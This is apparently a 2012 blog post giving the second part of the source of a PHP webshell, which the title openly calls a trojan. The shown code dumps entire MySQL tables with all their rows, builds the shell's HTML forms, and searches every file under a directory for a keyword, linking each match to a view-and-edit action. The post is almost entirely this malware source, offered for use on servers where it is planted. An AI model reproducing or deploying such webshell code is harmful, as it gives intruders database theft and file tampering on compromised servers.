PHP木马 删除记忆个人加强版 (二)

     //接着前面的 // 备份数据库 function sqldumptable($table, $fp=0) { $tabledump = "DROP TABLE IF EXISTS $table;\n"; $tabledump .= "CREATE TABLE $table (\n"; $firstfield=1; $fields = mysql_query("SHOW FIELDS FROM $table"); while ($field = mysql_fetch_array($fields)) { if (!$firstfield) { $tabledump .= ",\n"; } else { $firstfield=0; } $tabledump .= "   $field[Field] $field[Type]"; if (!empty($field["Default"])) { $tabledump .= " DEFAULT '$field[Default]'"; } if ($field['Null'] != "YES") { $tabledump .= " NOT NULL"; } if ($field['Extra'] != "") { $tabledump .= " $field[Extra]"; } } mysql_free_result($fields); $keys = mysql_query("SHOW KEYS FROM $table"); while ($key = mysql_fetch_array($keys)) { $kname=$key['Key_name']; if ($kname != "PRIMARY" and $key['Non_unique'] == 0) { $kname="UNIQUE|$kname"; } if(!is_array($index[$kname])) { $index[$kname] = array(); } $index[$kname][] = $key['Column_name']; } mysql_free_result($keys); while(list($kname, $columns) = @each($index)) { $tabledump .= ",\n"; $colnames=implode($columns,","); if ($kname == "PRIMARY") { $tabledump .= "   PRIMARY KEY ($colnames)"; } else { if (substr($kname,0,6) == "UNIQUE") { $kname=substr($kname,7); } $tabledump .= "   KEY $kname ($colnames)"; } } $tabledump .= "\n);\n\n"; if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } $rows = mysql_query("SELECT * FROM $table"); $numfields = mysql_num_fields($rows); while ($row = mysql_fetch_array($rows)) { $tabledump = "INSERT INTO $table VALUES("; $fieldcounter=-1; $firstfield=1; while (++$fieldcounter<$numfields) { if (!$firstfield) { $tabledump.=", "; } else { $firstfield=0; } if (!isset($row[$fieldcounter])) { $tabledump .= "NULL"; } else { $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; } } $tabledump .= ");\n"; if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } } mysql_free_result($rows); } class FORMS { function tableheader() { echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">\n"; } function headerform($arg=array()) { global $dir; if ($arg[enctype]){ $enctype="enctype=\"$arg[enctype]\""; } else { $enctype=""; } if (!isset($arg[method])) { $arg[method] = "POST"; } if (!isset($arg[action])) { $arg[action] = ''; } echo " <form action=\"".$arg[action]."\" method=\"".$arg[method]."\" $enctype>\n"; echo " <tr>\n"; echo "   <td>".$arg[content]."</td>\n"; echo " </tr>\n"; echo " </form>\n"; } function tdheader($title) { global $dir; echo " <tr class=\"firstalt\">\n"; echo "      <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">返回</a>]</b></td> \n"; echo " </tr>\n"; } function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') { if ($bgcolor=='2') { $css="secondalt"; } elseif ($bgcolor=='1') { $css="firstalt"; } else { $css=$bgcolor; } $height = empty($height) ? "" : " height=".$height; $colspan = empty($colspan) ? "" : " colspan=".$colspan; echo " <tr class=\"".$css."\">\n"; echo "      <td align=\"".$align."\"".$height." ".$colspan." ".$extra.">".$content."</td>\n"; echo " </tr>\n"; } function tablefooter() { echo "</table>\n"; } function formheader($action='',$title,$target='') { global $dir; $target = empty($target) ? "" : " target=\"".$target."\""; echo " <form action=\"$action\" method=\"POST\"".$target.">\n"; echo " <tr class=\"firstalt\">\n"; echo "      <td align=\"center\"><b>".$title." [<a href=\"?dir=".urlencode($dir)."\">返回</a>]</b></td> \n"; echo " </tr>\n"; } function makehidden($name,$value=''){ echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n"; } function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){ $css = ($css == 'input') ? " class=\"input\"" : ""; $input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$css." size=\"$size\" $extra>\n"; return $input; } function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){ $textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"".$rows."\" ".$extra.">".$content."</textarea>\n"; return $textarea; } function formfooter($over='',$height=''){ $height = empty($height) ? "" : " height=\"".$height."\""; echo " <tr class=\"secondalt\">\n"; echo "      <td align=\"center\"".$height."><input class=\"input\" type=\"submit\" value=\"确定\"></td>\n"; echo " </tr>\n"; echo " </form>\n"; echo $end = empty($over) ? "" : "</table>\n"; } function makeselect($arg = array()){ if ($arg[multiple]==1) { $multiple = " multiple"; if ($arg[size]>0) { $size = "size=$arg[size]"; } } if ($arg[css]==0) { $css = "class=\"input\""; } $select = "<select $css name=\"$arg[name]\"$multiple $size>\n"; if (is_array($arg[option])) { foreach ($arg[option] AS $key=>$value) { if (!is_array($arg[selected])) { if ($arg[selected]==$key) { $select .= "<option value=\"$key\" selected>$value</option>\n"; } else { $select .= "<option value=\"$key\">$value</option>\n"; } } elseif (is_array($arg[selected])) { if ($arg[selected][$key]==1) { $select .= "<option value=\"$key\" selected>$value</option>\n"; } else { $select .= "<option value=\"$key\">$value</option>\n"; } } } } $select .= "</select>\n"; return $select; } } function find($path) //查找关键词 { global $oldkey,$type,$type2,$endline,$beline; if(is_dir("$path")){ $tempdir=opendir("$path"); while($f=readdir($tempdir)){ if($f=="."||$f=="..")continue; find("$path/$f");} closedir($tempdir); }else{ if(filesize("$path")){ $fp=fopen("$path","r"); $msg=fread($fp, filesize("$path")); fclose($fp); if(strpos($msg, $oldkey) !== false) { $dir = dirname($path); $file = basename($path); if($type=="list"){ $mymsg = explode("\n",$msg); $long = count($mymsg); $tmp = explode($oldkey,$msg); $tmp = explode("\n",$tmp[0]); $first = count($tmp); $end = "[".$first."/".$long."]"; } if($type2=="getpath"){ $get = explode($oldkey,$msg); $get = strlen($get[0]); if(isset($beline)){ $get = $get-$beline; } $getpath = htmlspecialchars(substr($msg, $get, $endline)); $getpath = "title = \"".$getpath."\""; } echo "<span class=\"redfont\" $getpath>找到:$dir/$file</span> |<a href=\"?action=editfile&dir=$dir&editfile=$file\" target=\"_blank\">view+edit</a> | $end <br>"; } } } } ?>
posted @ 2012-07-15 21:03  adodo1  Views(163)  Comments(0Edit  收藏  举报